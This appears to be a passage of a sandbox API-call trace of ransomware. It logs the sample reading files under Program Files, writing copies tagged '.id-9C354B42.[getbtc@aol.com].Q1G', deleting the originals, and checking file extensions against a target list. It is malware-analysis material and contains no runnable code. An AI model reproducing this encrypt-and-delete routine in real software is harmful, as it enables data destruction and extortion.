GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=197120) returned 1 [0037.852] CloseHandle (hObject=0x1c4) returned 1 [0037.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0037.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0037.853] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0037.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0037.853] lstrlenW (lpString=".doc") returned 4 [0037.853] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0037.853] lstrlenW (lpString=".docx") returned 5 [0037.853] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0037.853] lstrlenW (lpString=".pdf") returned 4 [0037.853] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0037.853] lstrlenW (lpString=".xls") returned 4 [0037.853] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0037.853] lstrlenW (lpString=".xlsx") returned 5 [0037.853] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0037.853] lstrlenW (lpString=".ppt") returned 4 [0037.853] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0037.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0037.853] lstrlenW (lpString=".zip") returned 4 [0037.853] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0037.853] lstrlenW (lpString=".rar") returned 4 [0037.853] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0037.853] lstrlenW (lpString=".bz2") returned 4 [0037.853] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0037.853] lstrlenW (lpString=".7z") returned 3 [0037.853] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0037.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0037.853] lstrlenW (lpString=".dbf") returned 4 [0037.853] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0037.855] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0038.412] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=591) returned 1 [0038.412] CloseHandle (hObject=0x1b0) returned 1 [0038.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml")) returned 0x20 [0038.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0038.412] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.125] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=2556) returned 1 [0039.125] CloseHandle (hObject=0x190) returned 1 [0039.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0039.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0039.125] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.223] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.223] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.223] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0047.230] GetLastError () returned 0x0 [0047.230] ReadFile (in: hFile=0x1c8, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x4981, lpOverlapped=0x0) returned 1 [0047.249] WriteFile (in: hFile=0x20c, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x4990, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x4990, lpOverlapped=0x0) returned 1 [0047.250] ReadFile (in: hFile=0x1c8, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0047.250] WriteFile (in: hFile=0x20c, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.250] SetEndOfFile (hFile=0x20c) returned 1 [0047.250] CloseHandle (hObject=0x20c) returned 1 [0047.250] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.250] SetEndOfFile (hFile=0x1c8) returned 1 [0047.251] CloseHandle (hObject=0x1c8) returned 1 [0047.251] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0047.252] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 1 [0047.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0047.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0047.252] lstrlenW (lpString=".doc") returned 4 [0047.252] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.252] lstrlenW (lpString=".docx") returned 5 [0047.252] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.252] lstrlenW (lpString=".pdf") returned 4 [0047.252] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.252] lstrlenW (lpString=".xls") returned 4 [0047.252] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.252] lstrlenW (lpString=".xlsx") returned 5 [0047.252] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.252] lstrlenW (lpString=".ppt") returned 4 [0047.252] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0047.252] lstrlenW (lpString=".zip") returned 4 [0047.252] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.252] lstrlenW (lpString=".rar") returned 4 [0047.252] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.252] lstrlenW (lpString=".bz2") returned 4 [0047.252] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.252] lstrlenW (lpString=".7z") returned 3 [0047.252] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0047.252] lstrlenW (lpString=".dbf") returned 4 [0047.253] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0047.253] lstrlenW (lpString=".1cd") returned 4 [0047.253] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0047.253] lstrlenW (lpString=".jpg") returned 4 [0047.253] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0047.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0047.253] lstrlenW (lpString=".doc") returned 4 [0047.253] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.253] lstrlenW (lpString=".docx") returned 5 [0047.253] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.253] lstrlenW (lpString=".pdf") returned 4 [0047.253] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.253] lstrlenW (lpString=".xls") returned 4 [0047.253] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.253] lstrlenW (lpString=".xlsx") returned 5 [0047.253] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.253] lstrlenW (lpString=".ppt") returned 4 [0047.253] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0047.253] lstrlenW (lpString=".zip") returned 4 [0047.253] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.253] lstrlenW (lpString=".rar") returned 4 [0047.253] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.253] lstrlenW (lpString=".bz2") returned 4 [0047.253] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.253] lstrlenW (lpString=".7z") returned 3 [0047.253] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0047.253] lstrlenW (lpString=".dbf") returned 4 [0047.253] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0047.253] lstrlenW (lpString=".1cd") returned 4 [0047.253] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0047.254] lstrlenW (lpString=".jpg") returned 4 [0047.254] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.254] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0047.254] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0047.254] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0047.254] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=1379) returned 1 [0047.254] CloseHandle (hObject=0x1c8) returned 1 [0047.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 0x20 [0047.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0047.260] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0047.260] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.260] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.260] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0047.262] GetLastError () returned 0x0 [0047.262] ReadFile (in: hFile=0x1c8, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x563, lpOverlapped=0x0) returned 1 [0047.264] WriteFile (in: hFile=0x20c, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x570, lpOverlapped=0x0) returned 1 [0047.264] ReadFile (in: hFile=0x1c8, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0047.265] WriteFile (in: hFile=0x20c, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.265] SetEndOfFile (hFile=0x20c) returned 1 [0047.265] CloseHandle (hObject=0x20c) returned 1 [0047.265] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.265] SetEndOfFile (hFile=0x1c8) returned 1 [0047.266] CloseHandle (hObject=0x1c8) returned 1 [0047.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0047.266] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 1 [0047.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0047.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0047.266] lstrlenW (lpString=".doc") returned 4 [0047.266] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.266] lstrlenW (lpString=".docx") returned 5 [0047.266] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.266] lstrlenW (lpString=".pdf") returned 4 [0047.266] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.266] lstrlenW (lpString=".xls") returned 4 [0047.266] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.266] lstrlenW (lpString=".xlsx") returned 5 [0047.266] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.266] lstrlenW (lpString=".ppt") returned 4 [0047.266] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0047.266] lstrlenW (lpString=".zip") returned 4 [0047.266] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.266] lstrlenW (lpString=".rar") returned 4 [0047.266] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.266] lstrlenW (lpString=".bz2") returned 4 [0047.267] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.267] lstrlenW (lpString=".7z") returned 3 [0047.267] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0047.267] lstrlenW (lpString=".dbf") returned 4 [0047.267] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0047.267] lstrlenW (lpString=".1cd") returned 4 [0047.267] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0047.267] lstrlenW (lpString=".jpg") returned 4 [0047.267] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0047.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0047.267] lstrlenW (lpString=".doc") returned 4 [0047.267] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.267] lstrlenW (lpString=".docx") returned 5 [0047.267] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.267] lstrlenW (lpString=".pdf") returned 4 [0047.267] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.267] lstrlenW (lpString=".xls") returned 4 [0047.267] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.267] lstrlenW (lpString=".xlsx") returned 5 [0047.267] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.267] lstrlenW (lpString=".ppt") returned 4 [0047.268] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0047.268] lstrlenW (lpString=".zip") returned 4 [0047.268] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.268] lstrlenW (lpString=".rar") returned 4 [0047.268] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.268] lstrlenW (lpString=".bz2") returned 4 [0047.268] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.268] lstrlenW (lpString=".7z") returned 3 [0047.268] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0047.268] lstrlenW (lpString=".dbf") returned 4 [0047.268] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0047.268] lstrlenW (lpString=".1cd") returned 4 [0047.268] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0047.268] lstrlenW (lpString=".jpg") returned 4 [0047.268] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.268] lstrcmpiW (lpString1=".PNG", lpString2=".Q1G") returned -1 [0047.268] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0047.268] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0047.269] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=48115) returned 1 [0047.269] CloseHandle (hObject=0x1c8) returned 1 [0047.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 0x20 [0047.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0047.269] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0047.269] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.269] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.269] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0047.269] GetLastError () returned 0x0 [0047.269] ReadFile (in: hFile=0x1c8, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0xbbf3, lpOverlapped=0x0) returned 1 [0047.271] WriteFile (in: hFile=0x20c, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xbc00, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xbc00, lpOverlapped=0x0) returned 1 [0047.274] ReadFile (in: hFile=0x1c8, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0047.274] WriteFile (in: hFile=0x20c, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.274] SetEndOfFile (hFile=0x20c) returned 1 [0047.274] CloseHandle (hObject=0x20c) returned 1 [0047.274] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.274] SetEndOfFile (hFile=0x1c8) returned 1 [0047.275] CloseHandle (hObject=0x1c8) returned 1 [0047.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0047.275] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 1 [0047.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0047.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0047.276] lstrlenW (lpString=".doc") returned 4 [0047.276] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.276] lstrlenW (lpString=".docx") returned 5 [0047.276] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.276] lstrlenW (lpString=".pdf") returned 4 [0047.276] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.276] lstrlenW (lpString=".xls") returned 4 [0047.276] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.276] lstrlenW (lpString=".xlsx") returned 5 [0047.276] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.276] lstrlenW (lpString=".ppt") returned 4 [0047.276] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.276] lstrlenW 